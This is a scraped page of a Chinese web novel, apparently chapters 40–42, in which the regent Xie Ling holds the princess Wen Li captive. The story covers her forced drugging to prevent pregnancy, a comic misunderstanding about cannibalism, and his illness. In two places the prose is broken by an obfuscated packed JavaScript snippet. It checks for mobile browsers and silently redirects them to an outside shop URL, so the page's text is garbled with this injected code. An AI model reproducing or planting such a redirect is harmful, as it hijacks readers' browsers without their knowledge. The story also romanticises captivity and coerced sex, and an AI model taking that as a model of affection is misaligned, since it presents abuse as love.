谢陵脚步未停:“请二叔莫要插手侄儿的内宅,晚间侄儿自会去找二叔领罚。” 谢陵沉默了一路,将闻梨抱回寝榻,一边命人去请军医,一边拿来伤药,沿着床边坐下,替闻梨涂抹皮外伤。 涂药完毕,他忽而捏住闻梨欲缩回的腿,眼中满是愠怒,声音幽冷:“为何不再拖延片刻?你就这么不想给我生孩子?” 闻梨神情冷淡,不想与他过多纠缠:“灌我喝药的是你的亲人,我有拒绝的机会吗?” 谢陵绷紧下颌,终是松了手,软下声来:“对不起,是我没保护好卿卿,以后再不会发生这样的事,身子可还有哪里不舒服?” 闻梨不说话,又缩回床畔里侧躺着。 没过多久,军医匆步赶来,替闻梨把脉后,脸色有些难看,但还是如实回禀:“药性太烈,已经伤了公主的身子,往后恐怕很难有孕,还有公主肝气郁结,身子亏空大,要好好调养,否则不出三年,怕是药石罔效,无可转圜了。” 谢陵缄默良久,等军医退下后,他嘱咐闻梨好生休息,“我会给卿卿找最好的大夫,孩子日后会有的。” 闻梨依旧朝里侧躺,只留个冷漠的背影给谢陵。 出了寝房,谢陵唤来殷三娘,问闻梨的饮食起居。 殷三娘一脸苦恼道:“公主胃口不佳,每日只喝得下一点粥,再这么下去,公主迟早会闷坏身子,王爷得空了不妨陪公主出门散散心?” 谢陵双手负在身后,沉思片刻,只让殷三娘照顾好闻梨,其余的什么也没说,便离开了主院。 谢氏祠堂内,谢侯爷、商晏、陆回等人已等候多时。 不等谢侯开口训斥,谢陵进门便跪下了,脊背挺得直,面上情绪不显:“请二叔治罪,侄儿愿意领罚。” 谢宗缓缓转身,刚过四十的他,在边关风霜的摧染下,脸上、鬓边已有了岁月的痕迹,但又因常年习武,眼神深邃而锐利,加上那与谢陵有几分相似的容貌和身形,整个人气概不凡,威风凛凛,可窥得几分年轻时的神韵风采。 “你可是在怪二叔擅作主张,动你后宅的人?” “侄儿不敢。”谢陵口不应心。 谢宗脸色肃了肃:“我且问你,那女子是何身份?” 谢陵沉默。 “看来你也认得她是谁的女儿。”谢宗怒声说着,扫了眼一旁的商晏、陆回等人:“还有你们,我本意是让你们尽心辅佐陵儿,可你们却帮他瞒着我!谢家的仇,谢家的怨,他忘了,连你们也一并昏头了?” 商晏、陆回皆跪下,不敢说一个字。 “侄儿没忘。”谢陵道。 谢宗:“你既没忘,为何不杀了她替谢家满门报仇,却将她留在后院?为了她,调遣龙门郡的兵马,为了她忤逆长辈,毁掉与王家的婚事,你这般做,对得起谢家的列祖列宗吗?” 谢陵没说话。 陆回欲替谢陵求情,刚想开口,却被一旁的商晏拦下。 谢宗缓了缓语气:“我也曾年轻气盛过,明白你心里在想什么,你做不了的决定,我来替你做,我可以容忍那女子留在你后宅,但绝不能让她生下谢家的血脉。” “侄儿知晓了。” 良久,谢宗长叹一声:“北疆传来线报,废太子逃到了北齐,随时有可能联络京中旧部起势,心思多放在朝堂上才是正事。去领罚吧,今日你手下这些人,也要一起受罚,商先生除外。” 谢陵应了声:“是。” 临走前,谢宗似乎想起了什么事:“对了,你婶婶和阿瑶上月刚进京,你阿瑶妹妹吵着要见你,明日若有空,去侯府瞧瞧她们。” 谢侯走后,陆回骂骂咧咧起身:“怎的我们做什么事,谢侯爷都知道?难不成有人告密?还有军师方才为何拦着我给王爷求情?” 商晏淡淡解释道:“谢侯爷已对我们不满,贸然求情,恐会给王爷添麻烦。” 陆回冷哼:“商先生是怕惹祸上身吧?” 谢陵冷冷瞥了陆回一眼,“不可对军师无礼。” 陆回不情不愿,极敷衍地说了声:“得罪了。” “无妨。”商晏并未放在心上。 夜里,谢陵受过鞭刑后,歇在了书房。 * 谢陵没来的这几日,闻梨身心都轻松了不少,不用应付他的索要,也不必为了躲他而躺在床上装病。 夏日闷热,唯有窗边凉快些,闻梨一坐便是整日,她什么也不干,什么都不想,只是盯着天空发愣,偶尔飞过去一只鸟,她的眼眸才有些许亮光。 殷三娘每次来送饭,会陪着她在窗边说话,闻梨知道三娘是好心,只不过三娘所言句句不离谢陵,句句不离临王府,时间久了,闻梨愈发沉默,也日渐消瘦。 殷三娘瞧 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可嗓子哑了,纵有千万言语她喊不出来,又气又急,只能攥紧他的袖子,彷佛要攥个洞出来。 谢陵正抱着怀中人,刚伸手接过殷三娘递来的汤药,也不知这怀中人哪来的力气,攥紧他的袖子不放,还险些打翻了药碗。 望着她惨白的脸,谢陵只想快点把药喂下去,岂料怀中人不肯张嘴,好不容易喂点药,还被她悉数吐了出来。 “阿渺。” 谢陵喂药的手一顿,脸都气白了,眼底燃起怒火,没想到闻梨连做梦都在喊那小子的名字,当真就这么放不下?早知如此,他就该一剑杀了那小子,省得她日思夜想,梦里还念着。 谢陵神情阴郁,捏住闻梨的下巴,想把剩下的汤药全灌进去,却呛得闻梨直咳嗽,一个字都喊不出。 “哎呦,王爷,不能这么喂,会呛死人的。”殷三娘在旁边看得干着急。 谢陵克制住心头的怒意,自己喝了口药,喂进闻梨嘴里,彻底堵住她想说的每一个字。 不知过了多久,腹痛逐渐缓解,闻梨感到有一只温热的手掌贴在自己的腹部轻轻按摩,她睁眼发现自己正躺在谢陵怀里,他闭着眼,眉头紧蹙,脸上有些许疲惫。 外间天色已黑,雷雨阵阵,屋内的烛火摇曳,柔软的光线在纱帐外静静流淌。 闻梨想从谢陵怀里抽身而出,刚动一下,便被他摁回原位。 “老实点,病刚好就要一脚踹开本王吗?” 闻梨不动了,也不说话,开始扮演起无知无觉的木头。 谢陵主动松开她,起身倒了杯水,喂到闻梨嘴边,闻梨虽然很渴,但不想喝他递来的水,于是仍闭着眼,不为所动。 谢陵冷笑:“不愿意喝?那本王就用喂药的法子喂你,嘴对嘴如何?” 闻梨惊慌睁眼,自己接过茶杯,乖乖喝下,酸涩的嗓子顿时好受了许多。 谢陵侧身躺下,大手一挥将人捞进自己怀中,稳稳抱着,隔了良久,他轻声开口,声音如山涧寒泉,有点冷,却也有几分清透:“你还是放不下他?” 闻梨没回答,谢陵也再没说话,时间过去了很久,久到闻梨以为谢陵已经睡着了,她悄悄翻了个身,背后忽而传来谢陵低沉的嗓音。 “你好好吃饭,好好养身体,倘若一年后,你还是没法接受我,那我给你自由。” “当真?”闻梨简直怀疑是不是自己听错了。 “强扭的瓜不甜,本王不想眼睁睁看着卿卿玉殒香消。”他的语气有些低落。 闻梨仔细想了想,暂且信谢陵一次也无妨,好歹有了活下去的盼头,要是一年后他不放人,那他在她这里,便永远没得信誉可言了。 “希望王爷别再骗我。” 41. 第四十一章 这日午后,临王府的将士们在檐下乘凉,闲着没事干,便七嘴八舌议论起萧大郎最近刚订下的婚事。 “大郎哥,兄弟真佩服你,林氏医馆家的小娘子,何等的清雅脱俗,多少公子爷想纳她都不肯,倒是大郎哥你得美人青睐,这其中可有什么诀窍?说与兄弟们学学!” 萧大郎长得魁梧高壮,却是个极细心内敛的人,害臊地笑了笑:“哪有什么诀窍,真心换真心罢了,小娘子是要用心疼的。” 萧二郎哈哈大笑:“诸位不知,我哥那会儿受伤了,放着府上的军医不找,天天往林氏医馆跑,一来二去不就熟了?而且为了娶她,我哥答应此生不纳妾,每个月俸禄刚下来,我哥就巴巴的给人送衣裳送首饰,可用心着呢!” 众将士恍然大悟,有人却道:“以大郎哥如今的身份地位,想要多少美娇娘没有?何苦为了一瓢水放弃一片海?” 萧大郎摇头,老实说道:“我不要别人,我就喜欢妧妹一人,只想跟她成亲过日子。” “大郎哥还是太年……”那人瞅见凉亭旁走来的身影,脸色一变,立马嘁了声,其余人见状,也纷纷跟着起身问安。 不等谢陵发话,陆回抢先开口:“你们几个怎么回事?当临王府是菜市场啊,叽叽喳喳的,还不滚回去当值。” “近来天气炎热,命后厨做酸梅汤来,给将士们解渴。”谢陵淡淡说着,随后扫了眼萧大郎:“跟我过来。” 风浅应下,几人千恩万谢,各自散去当差,唯有萧大郎心里七上八下,老老实实跟着王爷进书房。 进屋后,谢陵往案桌前一坐,随手翻了翻手边的折子,又扔了下去,拿起一本书来看,神情淡然,装作若无其事问:“是什么诀窍?” 以为要挨骂的萧大郎登时傻眼:“啊?” 傍晚时分,陆回带人抬了两箱子金银首饰来到主院外,起先叫了半天门,却没人应,最后是殷三娘端着饭菜赶来,才将陆回等人引进院中。 陆回望着这冷冷清清的院落,好奇道:“公主不在?” “估计在那边坐着呢。”殷三娘指指海棠树下的窗牍。 陆回:“劳烦三娘进去通传,就说王爷寻了好些宝贝,特意派人送来,请公主出来瞧一瞧。” 殷三娘端着饭菜进屋,隔了好一会,再出来时,一脸无奈:“公主说不看,让陆将军您自行处置。” 陆回满眼震惊,这么两大箱金银珠宝,看都不看一眼?他转念一想,人家毕竟是公主,什么样的宝贝没看过?这些显然并不能打动公主的心。 陆回只好先命人将箱子抬进库房,随后回书房复命。 “王爷,真不是末将无能,末将连公主的面都没见着,心里有再多对王爷的溢美之词也使不出啊。”陆回哭丧着脸道。 谢陵揉揉眉心,目光落向萧大郎,萧大郎挠挠脑袋,也有点摸不着头脑,这一招明明对妧妹很管用,怎的到王爷这边就没用? 陆回想了想,道:“王爷,末将觉得感情之事跟打仗是一样的,知彼知己才能百战百胜,想要讨公主欢心,得从她的心开始攻克,了解她的想法,深入她的内心。” 谢陵微微挑眉:“比如说?” “末将今日见主院空落落的,冷清得很,公主又整日不出门,好人都得憋坏喽,不如多找几个侍女陪公主解闷?” “有三娘还不够吗?”谢陵也曾考虑是否要找几个侍女伺候闻梨,但临王府没有婢女,外面买来的他又信不过,一来二去便耽搁了。 陆回:“三娘跟我们一样是个粗人,哪能伺候得好公主,万一公主要写字作画,三娘连研磨铺纸都不会,您不懂,大户人家的姑娘,自小身边就有说得上话的丫鬟陪着。” 谢陵瞥他一眼:“你倒是懂得不少,听说你最近总往落英巷跑,不知看上哪家的姑娘?可要本王出面帮你说和?” 陆回嘿嘿笑了两声:“那就不劳烦王爷了,末将这八字还没一撇呢,王爷还是多想想如何讨公主喜欢吧。” 夜里,素了快一月的谢陵,缠着闻梨要了几次,从前他横冲直撞,只顾着自己畅快,今夜才开始照顾闻梨的感受,动作幅度缓和不少,似缠非缠,多了几分柔情与服侍意识,呼吸交叠间,他发觉闻梨跟往常的反应不太一样,原来不止男子能从中获取乐趣,他兴致高涨,一发不可收拾。 “你别再得寸进尺了!”闻梨的胳膊抵在谢陵肩头,脸色潮|红,一双湿漉漉的杏眸有羞恼有局促,疑惑谢陵到底是从哪里学来的下作手段。 翌日,被折腾了一夜的闻梨,睡到日上三竿才醒,身旁早没了谢陵的身影,她浑身酸疼,慢慢爬起来,想要穿衣洗漱。 这时,寝门忽而被人轻轻推开,闻梨惊了一瞬,立刻缩回被子里,警惕地看向门边,在临王府,除了谢陵和殷三娘,没人会来这里,而且他二人推门手劲大,从不会像这般小心翼翼。 “公主可醒了?”来人浅声唤了一句。 认出是清霜的声音,闻梨松口气,从被子里爬出来,望着由远及近的熟悉面孔,心中百感交杂,她曾以为此生再也不会跟宫里的人见面。 “奴婢拜见公主。”清霜跪地深深一拜。 随后,闻梨就从清霜口中得知了许多事,如今的天子只是个四五岁的小娃娃,而谢陵作为摄政王,权倾朝野,挟幼帝把持朝政,这天下已算是谢陵的囊中之物。 “沈皇后、沁芸她们,还有各位皇子公主如何了?” 清霜犹豫片刻,道:“废太子逃宫时仓促,来不及接走沈皇后,沈皇后在狱司待过一阵,双腿全废,后被迁至冷宫,多次寻死被拦下,皇子们死的死,囚的囚,后宫的其他妃嫔和公主,都被赶出宫外,自己谋生,现在宫里只剩下小皇帝一人。” 听到往昔的“亲人”死的死,逃的逃,闻梨心中并无多少动容,只是有几分感概,倘若有来世,莫要再投生帝王家。 * 暑热渐消,转眼间便立秋了,自从谢陵许诺一年后放人,闻梨吃得下,也睡得着,身子渐渐养回来,也有心情在王府园子里转悠闲逛。 她最常去的地方便是南院的药堂,日渐相处中,她发现军医表面看着孤僻古怪,不善言辞,其实很好相处,他见闻梨读晦涩难懂的医书,偶尔主动提点几句,有时还会教她种植草药,耐心谦逊,从不以年龄资历托大。 唯有蹲在药田里帮忙捉虫时,闻梨才能暂且忘掉被囚禁府中的苦闷,忘掉霸道不讲理的谢陵,也很少再想起月光下少年明澈含笑的眼。 “做得不错。”军医满意点头,又请闻梨进屋喝口茶。 闻梨从药田出来,蹭蹭鞋边的泥,才领着清霜往堂屋走,小药童端来两杯清甜可口的梅子茶,闻梨与清霜道过谢,便坐下细细品味。 刚坐下不久,便有马场的人匆匆赶来,说由有匹马儿生了病,要军医过去瞧瞧,军医二话不说,扛起药箱便出了门。 闻梨好奇道:“何军医还会给马治病?” 小药童:“那当然了,我师傅说过,不止人会受伤,马匹也会生病,马在战场上用处可大了,要是治不好,会延误战机的。” 话音未落,风浅忽从门外进来,见到闻梨时,规规矩矩唤了公主,而后扫视一圈药堂,发现军医不在。 小药童:“我师傅去给马儿治病了。” 风浅蹙眉:“怎的这般不凑巧,王爷的药熬好了没?” 小药童忙不迭跑进院子,再出来时,手里端着碗暗红浓稠的汤汁,腥味刺鼻,闻梨用手帕掩住口鼻,待风浅走远,才问小药童:“那是什么药?为何如此难闻?” 小药童摇摇脑袋:“我师傅没跟我说,我只知道王爷每个月都要喝几碗,从不间断。” 闻梨起身道:“我去后院瞧瞧药渣。” 小童子忙拦住她:“不行,师傅吩咐过,任何人都不可以进后院。” 闻梨隔着屏风遥遥瞧了一眼。 从药堂回来,闻梨想起有几本医书忘了拿,便差清霜去一趟,半个时辰后,清霜空手而归,却是面白如纸,手抖如筛,进门时顾不上说话,瘫倒在椅子上直喘气。 “发生什么事了?” 清霜缓了缓,颤抖着声音道:“药堂那边死了好多人,奴婢亲眼瞧见府里的士兵,从里面抬出不少血淋淋的尸首,太吓人了。” 闻梨提笔的手微微顿住:“许是进了刺客?你去歇一歇,不必跟来伺候。” 清霜立刻道:“奴婢胆子小,偌大的院子,一个人待着心里瘆得慌,在公主身边安心点。” 闻梨没再说什么,搁下笔,原本今天要看新的医书,一闲下来,她不知要做什么,心里闷得很,便又坐到窗边发呆。 见清霜也跟着惶惶不安坐过来,闻梨安慰道:“别怕,王府守卫森严,刺客应该不会找到这来。” 清霜欲言又止:“其实……奴婢怕的人是临王。” “此话何意?” 清霜脸色依旧煞白,支支吾吾道:“宫变时,公主不在玉京城,没看到临王砍了多少人的脑袋,听人说,那段日子,每天都有数百人被拉去菜市场砍头,与奴婢相识的老人,基本全死了,若非当时公主逃婚,奴婢被贬去宫外做苦力,也许没法再见到公主。” 闻梨默然,半晌才道:“你放心,你现在是我的婢女,谢陵应该不会为难你,你若实在怕他,等今晚他来,我让他放你出府,再给你一笔钱,以后好好过自己的日子。” 清霜忙跪地磕头:“公主别赶奴婢走,能再侍奉在公主身边,是奴婢三生有幸,奴婢就算出府,只有嫁人一条路,运气好点为人正室,却也少不了操劳辛苦,并非是奴婢想过的日子。” 闻梨长叹一声:“你起来吧,我不赶你走。” 清霜谢恩起身,想了想,还是决定说出口:“奴婢有一事要提醒公主。” 闻梨抬眸:“什么事?” 清霜神色纠结:“奴婢怀疑,临王走了先帝的老路。公主应该也记得,先帝生前喜食丹药,欲炼长生不老药,有天,宫里来了个道士,说能炼制延年益寿的药丸,但需要人的心头血做药引,那药十分腥气,就……如同早上小药童端出来那碗。” 闻梨骇然:“你是说,谢陵拿活人的心制这种药?” 清霜不太确定道:“奴婢也只是猜测,听说这种药,拿小孩子的心效果最好,当时宫里专有太监从外边绑来小孩,奴婢和翠玉曾经就撞见过几次。” 闻梨只觉头皮发麻,“或许只是个误会,此事万不能让旁人听到。” 入夜,风浅来传话,谢陵今晚歇在书房,让闻梨不必等,早些睡觉。 清霜忙关紧门窗,抱来一床褥子,在外边的小榻铺好,“公主有没有发现,每个月总有几天,临王都会歇在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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闻梨眼疾手快扶稳那小身板,是个七八岁的女娃娃,生得玉雪可爱,圆溜溜的杏眸瞪着跟葡萄一样大,明眸皓齿,正是灵动活泼的年纪,瞧人的眼神却带着几分骄矜和不羁,显然是个千娇万宠的贵小姐。 “哎呦喂!是哪个奴才不长眼,竟敢……啊?”谢知瑶登时愣住,仔细打量眼前的娇俏美人。 “你、你就是……”谢知瑶话还没说完,便被不知从哪里冒出来的风浅捂嘴,拖走,动作行云流水,彷佛没少干这事。 徒留闻梨二人满脸错愕地懵在原地。 清霜一紧张说话就有些结巴:“公、公主,他们是不是又绑走一个?” 闻梨蹙紧眉头,拉住清霜的手,“别慌,我们先回去再说。” 闻梨走后没多久,南院又抬出来几具尸首,随后,谢陵与商晏、陆回等人也一道从暗牢出来。 陆回整夜没睡,眼底熬出淤青,一脸疲惫道:“这已经是第二拨刺客了,一个个嘴硬得很,酷刑之下什么都不肯说。” 商晏道:“好在并不难查,这两拨刺客分属两个阵营,前些天的是废太子势力,昨晚那波应是北齐来的。” 谢陵:“今夜多加防范,务必守好地牢。” 众人领命各自散开,这时候萧大郎上前,回禀闻梨来过的事情。 谢陵什么也没说,兀自回了书房,待入夜后,本该在暗处等着捉拿刺客的他,却鬼使神差来到主院,没进房门,只是远远望着窗前灯下的那抹身影,心里有种难言的温馨感,多日的疲倦一扫而光。 直至夜深,清霜端着盆出门,谢陵瞧见屋内的烛火随着人影移动,他正要离去,却见烛光忽灭,紧接着传来琉璃灯盏摔碎的声响。 谢陵一刻没犹豫,如疾风般赶来屋内,“别乱走动,你是不是又没穿鞋?” 闻梨果然站着没动,她素来有个习惯,没人在时,喜欢光着脚,尤其炎热的夏天,房内地面冰凉凉的很舒服。 谢陵走过去,将她抱到床边,此时屋内只剩下桌边一盏烛火照着,略有些暗。 清霜听到屋内声响,快步赶回来,冷不防瞧见床边坐着的临王,吓她一跳,哆哆嗦嗦请安。 谢陵瞧这侍女有异,声音不免冷了几分:“你很怕本王?” 清霜正欲跪下请罪,闻梨先开口了,让清霜多点一盏灯,再把地面的碎片扫干净,而后才看向谢陵。 “王爷今晚不是宿在书房么?” 谢陵侧头看向同样缩在一边的闻梨,当即不悦道:“为何离我这般远,靠近点,我又不吃人。” 闻梨踌躇不前:“我今天不太方便。” 谢陵没耐心了,径直起身,强行将闻梨捞进怀中,几乎是脸贴脸抱着,他埋头在她柔软馨香的肩窝里,呢喃低语:“今晚不动你。” 虽然今晚谢陵确实说话算话,没做别的,却一直紧拥着闻梨,连睡着都不撒手,这一夜,闻梨睡得不大好。 夜半时分,闻梨忽觉缠在自己腰间的手收走了,终于能轻松片刻,不料身后传来掀帘下床的声音,紧接着是门响。 闻梨翻个身想继续睡觉,奈何睡意全无,她盯着帐帘发呆,开始有点好奇,谢陵半夜不睡觉去外面做什么?难不成真的取人心去了? 闻梨起身穿鞋,随意取了件外衣披上,蹑手蹑脚跟了出去。 起风了,夜里有点冷,廊下烛笼忽明忽灭,黑漆漆的夜幕里,闻梨什么也瞧不见,更别提跟踪谢陵,正欲转身回去,却在此时听到一阵吸溜声。 闻梨循着那道声响走去,长廊尽头,她看到有个身形与谢陵相似的人坐在台阶上,手里正捧着什么东西吃,那人的脚下还躺着一具尸首。 第一次目睹人吃人的场面,闻梨吓得浑身发抖,死死捂着嘴,腿软直往后退去,后背冷不防撞上什么东西,没等她回头看清,便被人点了睡穴,晕了过去。 42. 第四十二章 当谢陵把昏睡的闻梨送回寝房,再出来时,陆回已经在吃第三个桃了,“这桃鲜嫩多汁,王爷要不要尝尝?” 谢陵双手负在身后,没接陆回递来的桃,“把二郎叫醒,刺客们该来了。” 陆回一边嗦着桃核,一边踹了踹身旁躺着的萧二郎,待人醒来,陆回也正好吃完,擦擦手,晃悠悠来到谢陵身侧,眼睛盯着房檐问:“王爷为何要弄晕公主?直接告诉她在抓刺客不好吗?” 谢陵隔了一会儿才道:“有什么区别?” 陆回闷笑出声:“当然有区别啊,以公主的性格,明天肯定不会主动问您,一个不问,一个不解释,误会不就说不清了么?” 谢陵:“这样的误会无关紧要。” 陆回:“事不在小,在于王爷是否在乎公主的想法,听她说话,照顾她的心情,莫要欺她,瞒她。” 谢陵沉默住了。 陆回靠着柱子,脸上一副看破人世红尘的清醒:“王爷其实有别的顾虑吧?今晚那个人可能会来,您不想让公主见到他,您没信心呐!” 谢陵掀开眼皮,漫不经心道:“诽谤本王可是重罪。” 陆回哈哈大笑:“末将哪敢说王爷坏话,是有一良策想献给王爷。” “什么良策?” 陆回抬头望向夜空:“王爷别忘了,王府地牢还关着另一个北齐刺客想要的人,反正也问不出情报,还给他们又何妨?” * 这一觉,闻梨睡得很沉,醒来时天色已然大亮,昨夜晕倒前的事她记得一清二楚,她亲眼看到了,谢陵在掏人心! 原以为他只是脾气差,霸道蛮不讲理,偏执阴暗,没想到竟如此残暴凶恶,跟未开智的野蛮人有何区别?她现在连一年也等不了,可府里守卫重重,天下又尽是谢陵的地盘,她无处可逃啊。 闻梨绝望躺下,敞开手却无意间碰到什么温热的东西,她登时僵住,缓缓扭头,正对上一双深邃而冷厉,看不出任何情绪的丹凤眼。 闻梨吓得立刻缩回手,还往后挪了好远,脸上写满惊恐与抗拒。 谢陵轻蹙眉头,不悦道:“你最近一直在躲我,难道不打算遵守一年之约了?这辈子都不想出府了?” 闻梨弱弱道:“明明是你不遵守,说了要我接受你,可……你做的事情,我实在没办法接受。” 谢陵换了只手撑脑袋:“本王做什么了?” 闻梨咬咬唇,犹豫着要不要拆穿谢陵的真面目,这种事一旦说出口,恐怕谢陵更不会放她离开,没准等他哪天弃了,或厌了她,可能还会掏了她的心,毕竟有仇怨在身。 她决定咬死不说。 “没什么,我要起床洗漱了。” 谢陵乌沉沉的眼眸闪过一丝郁闷,让陆回那小子猜着了,她还真的什么都不问,又想装聋作哑了是吧?军师、陆回,人人都猜得到他的心思,偏偏眼前这个人猜不到,还是她压根就不想猜? 谢陵伸手拉回正要下床的闻梨,把人拉到自己腿上,摁住不给动,神情森冷,语气恶劣:“你说,我改还不行?” 闻梨愣住了,此时的她,脑袋刚好枕在谢陵腿上,谢陵的脸在她眼里是倒着的,盯久了,她彷佛不认识这张脸,奇怪,是耳朵也出问题了吗? “快说,本王耐心有限。”谢陵催促道。 劝人为善,兴许真能挽救那些无辜的孩子。 闻梨这般想着,尝试着劝他:“王爷日后别再吃人心了,要是真忍不住,你就找些罪大恶极的人来吃。” “什么?”谢陵觉得好气又好笑:“你怀疑我吃人?从哪里看出来的?” 闻梨一一道来,首先是那碗腥味十足的汤药,药堂的尸首,府里消失的小孩,以及昨晚的事。 她说得有理有据,谢陵觉得荒谬,却无话反驳,心里更是失望,自己在她心里究竟是个什么怪物?杀人如麻?嗜血如命? 谢陵皮笑肉不笑:“穿好衣服,跟我去个地方。” “去哪?” “挖人心。” 闻梨脸色刷一下变白,果然就不该轻信这个大魔头,她欲缩回被窝,却被谢陵半胁迫半利诱,还是穿衣洗漱,来到了南院药堂外。 进了药堂,闻梨才发现,不止门外守着个萧大郎,陆回、商晏等人也在里间,似乎正跟何军医谈事情,几人瞧见谢陵带着闻梨进来,脸上神色各异,尤其是陆回,满脸看戏的兴奋神情。 商晏率先起身行礼:“王爷这是?” 谢陵松开闻梨的手,朝何军医道:“公主很好奇本王在吃什么药,劳烦军医教教公主,往后就让公主替我熬药。” 紧接着,谢陵便与商晏朝后院走去,临走前他还让风浅留下,一会儿熬完药送闻梨回去。 吩咐完毕,谢陵回头看了一眼没跟上的陆回,陆回忙称自己尿急,转身要去茅厕,谢陵索性不再管他,心里憋着一口气,与商晏一块消失在后院地牢入口。 陆回见谢陵走远,立刻调转脚步,凑过来打听八卦:“公主,昨晚的事王爷是怎么跟您说的?” 闻梨望着一脸蔫坏的陆回,心里多了几分防备:“昨晚的事你也知道?” 陆回笑道:“当然,昨晚臣也在场。” 闻梨:“你既然在场,还问我做什么?” 陆回:“……”这位公主看上去,似乎也没那么好套话,难怪王爷屡屡败在她手里。 另一边,何军医已经将药方抓来,呈给闻梨过目,其中好几味药材闻梨都认得,“这是治疗头疾的方子?” 何军医满意地点点头:“不错,光凭这几味药材便能推断疾症,公主的学问大有长进。” 与此同时,屏风后悄无声息多了道可疑的身影。 闻梨却道:“可那天我瞧见风浅端走的,分明是碗很血腥的汤药,是不是还加了人心当药引?” 此话一出,何军医一阵默然,陆回噗嗤笑出声,连向来不苟言笑的风浅,也在此刻投来异样的目光。 何军师解释道:“确实有一味药引,但不是人心,是熊胆,用熊胆熬出的药,色浓味腥。” “不是人心?”闻梨困惑,“昨晚我亲眼瞧见临王捧着人心啃食,脚边还躺着个受害人。” 陆回抑制不住地哈哈大笑:“那是我在吃桃,地上的受害人是萧大郎的弟弟二郎,那小子熬不住夜,躺着补觉呢。” 闻梨有些心虚,脸颊在发烫,“可从药堂抬出去的尸首又是怎么回事?还有风浅绑走的小孩。” 陆回:“因为药堂地下有个地牢,那些尸首,都是闯进府的刺客,想要杀王爷的,扛不住酷刑死了。” 一旁的风浅也解释道:“二小姐是王爷的堂妹,王爷吩咐过,不让二小姐唐突公主。” 听到此,闻梨已有些坐不住了,满脸臊红,起身要走:“原是我误会了,你们继续,我不打扰了。” 屏风后传来一道轻咳。 陆回心领神会,挡住闻梨去路:“公主别着急走,王爷说想喝您亲手熬的药,公主这边请。” 满屋子人的视线皆落在闻梨身上,纵使心中不愿,闻梨还是跟着陆回步入侧堂,来到炉火边,拿起药罐,一时不知该如何下手,熬药可不比做饭,稍错一步,药效有可能会大变。 小药童很有眼力见地跑来帮忙烧火,何军医也把药材都拿了过来,一步步指导闻梨该怎么做。 此时侧堂只剩下三人。 渐渐地,闻梨变得心平气和,把熬药当作一次练习,她这才发现,尽管看过不少医书,但自己对草药的药性仍是一知半解,每往里添一种药材,都会问上几句。 何军医耐心讲解:“此药材性烈,若非迫不得已,绝不能与苍术一起用,时间久了,会短命。” 闻梨手一抖,没记错的话,刚才已经放过二钱苍术,何军医却把此药递给她,莫非是考验?她疑惑抬头,想从何军医脸上寻求答案,岂料何军医点点头道:“放吧。” 闻梨依言放入最后一味药材,过了一会儿,她才问道:“这药不是治一般的头疾?他为何要用如此伤身的药?” 何军医在整理自己的药材,“王爷没跟你提过?” “没有。” 陆回不知何时去而复返,抱手靠在边门,抢话道:“其实王爷得的不是头疾,是心疾,这些年若非靠着此药压制,恐怕人已经彻底疯了。” “为什么?”闻梨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16537460|180824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不自觉脱口而出,很快便后悔了,这么隐秘的事情,谢陵恐怕不希望别人知道。 陆回却不打算瞒她:“那年我们接连攻破齐国两座城池,两城百姓誓死不降,王爷的意思是,增派官员和军队镇守治理,但谢侯爷认为,那个地方易攻难守,不想浪费兵力,于是给王爷下令,十日内,杀尽城里百姓,掠夺粮食和财物,退回晋朝境内。” 闻梨怔怔望着陆回:“后来呢?” 陆回叹道:“惨烈至极,那是王爷第一次忤逆谢侯爷,很快王爷便被撤了军印,不仅如此,屠城那几日,谢侯爷还命人将王爷绑在城楼,要他亲眼看着那些百姓咽气,从那之后,王爷便有了头疾,发作起来敌友不分,连我都被他打伤好几次。” 闻梨不知该说什么,那位谢侯爷派人灌她药的情形犹在昨日,虽说她心里也不想生下谢陵的孩子,可自愿喝与被灌药是两码事,倘若谢侯爷再心狠手辣些,灌她毒药,神仙也难救她性命。 见闻梨一言不发,陆回立马道:“公主不必紧张,只要每月按时服药,王爷不会发疯,就是别再受什么刺激就好,其实王爷的心疾,也和公主有点关系,严格意义上来说,是跟虞妃有关。” 闻梨头一回愿意主动面对过去:“她对谢家做了什么?” 陆回:“具体事情我不太清楚,不过王爷曾眼睁睁看着亲人惨死在自己面前,心中一直没能释怀,所以才会在屠城时受那么大刺激。” 一个时辰后,汤药熬好了,谢陵尚未从地牢中出来,派人来传话,说一会儿回去喝,闻梨只好先将汤药带回主院。 午间,闻梨瞧见殷三娘领着人端来多一倍的饭菜,便知谢陵今日应该要过来用饭,谢陵平日很忙,只有晚上会过来,突然要跟他一起用饭,闻梨还有些不适应。 没等多久,谢陵掀帘而进,一眼扫见拘谨坐在饭桌前的闻梨,他快步走去,在她对面坐下。 “动筷吧,可要人替你布菜?” 闻梨摇头,拿起筷子,望着一桌精致的饭菜,却没什么胃口,随便夹了点清菜,静静吃着。 谢陵用饭时向来不喜说话,如今瞧着闻梨食欲不振,不自觉开口:“你若觉得饭菜不好吃,明日多招几个厨子来,宫里的、酒楼的,想要哪种?” “不必了,我向来只吃这么多。” 隔了一会儿,谢陵漫不经心说道:“我查过宫里的记册,下月初十是你的生辰,想要什么心愿?” 闻梨恍惚了一瞬,她已许多年没过生辰,久到自己都忘了是哪一天,乍然听谢陵提起,心头掠过一丝酸涩,没人期待的降生,没必要特意过这个日子。 见她沉默不语,谢陵又补了一句:“想要出府游玩也可以。” 闻梨惊讶抬眸:“真的可以出府?” 谢陵:“嗯,前提是你要养好身子,军医说你能出府才行。” 闻梨夹起一块肉,到了嘴边,临时加了个条件:“那你不许跟着我。” 谢陵眉头舒展,唇畔牵起一抹意味深长的笑:“不跟。” 